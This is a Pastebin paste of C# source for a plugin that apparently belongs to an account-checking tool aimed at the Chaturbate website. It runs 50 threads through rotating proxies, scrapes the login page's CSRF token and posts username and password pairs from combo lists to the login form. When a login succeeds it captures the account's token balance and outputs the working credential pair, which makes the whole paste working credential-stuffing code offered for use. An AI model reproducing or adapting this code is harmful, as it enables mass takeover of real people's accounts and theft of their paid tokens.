Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Linq;
- using System.Security.Cryptography;
- using System.Security.Policy;
- using Plugins;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading.Tasks;
- using RestSharp;
- using System.Net;
- namespace Modules
- {
- public class Chaturbate : Plugin
- {
- public int Threading => 50;
- public string Site()
- {
- return "Chaturbate";
- }
- public string ComboType()
- {
- return "User";
- }
- public bool Proxies()
- {
- return true;
- }
- private static string CaptureBetweenString(string fullText, string leftString, string rightString,
- bool removeLeftRight)
- {
- if (removeLeftRight)
- {
- return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString()
- .Replace(leftString, "").Replace(rightString, "");
- }
- return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString();
- }
- public string run(string username, string password, string proxy)
- {
- try
- {
- var client = new RestClient("https://chaturbate.com/auth/login/?next=/")
- {
- CookieContainer = new CookieContainer(),
- UserAgent =
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
- Proxy = new WebProxy(proxy)
- };
- var request = new RestRequest(Method.GET);
- var exec = client.Execute(request);
- var csrfCode =
- CaptureBetweenString(exec.Content, "name=\'csrfmiddlewaretoken\' value=\'", "\' />", true);
- if (csrfCode == "")
- return "Failed";
- request.AddHeader("Referer", "https://chaturbate.com/auth/login/?next=/");
- request.Method = Method.POST;
- request.AddParameter("application/x-www-form-urlencoded",
- $"next=%2F&csrfmiddlewaretoken={csrfCode}&username={username}&password={password}",
- ParameterType.RequestBody);
- exec = client.Execute(request);
- if (exec.Content.Contains(
- "<form id=\"user_logout_form\" action=\"/auth/logout/\" method=\"post\" style=\"display:none;\"><input type=\'hidden\'")
- )
- {
- var tokens = CaptureBetweenString(exec.Content, "class=\'tokencount\'>",
- "</span> Tokens</a></strong></div></td>", true);
- Console.WriteLine("-------------------------");
- Console.WriteLine("Username: " + username);
- Console.WriteLine("Password: " + password);
- Console.WriteLine($"Capture: {tokens}");
- Console.WriteLine("-------------------------");
- return $"{username}:{password} | Tokens: {tokens}";
- }
- return "Failed";
- }
- catch
- {
- return "Failed";
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement